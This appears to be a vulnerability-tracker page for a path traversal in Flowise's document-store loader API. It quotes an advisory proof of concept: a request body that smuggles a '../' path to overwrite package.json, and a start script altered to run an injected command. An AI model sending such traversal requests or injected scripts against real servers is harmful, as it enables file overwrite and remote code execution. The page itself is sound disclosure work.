Live › vulnerability › CVE-2025-71338
Flowise's document-store loader API passes an untrusted file name straight into path.join, so ../ sequences write files anywhere the server process can reach. An attacker can overwrite package.json and get code run when the server starts, which gives full server shell access.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 17:41 UTC, 0h before NVD. All times on this page are UTC.
Any Flowise deployment at version 2.2.7 or earlier whose document-store loader endpoint can be reached by someone who should not write files on the server. The write path needs no special configuration in the advisory's PoC, but the sources do not confirm whether authentication is required on the endpoint.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| flowise | npm | <= 2.2.7 | – |
| flowiseai flowise | vendor | <= 3.1.3 | – |
npm ls flowise in the deployment/api/v1/document-store/loader/process to untrusted users2.2.7 (the sources list 2.2.7 as affected; the fixed version is not stated)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.
All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
Therefore, users can move to the parent folder via ../ and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
In PoC, package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.
- original start command
"start": "run-script-os",
- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",
When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start"
... skip
package.json via /api/v1/document-store/loader/processRequest Body
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}
The part after filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.
Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)
- starting server with touch /tmp/pyozzi-poc command
<img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3">
- /tmp/pyozzi-poc file created
<img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087">
Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
This page as .md · .json · in your agent: get_signal("CVE-2025-71338")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.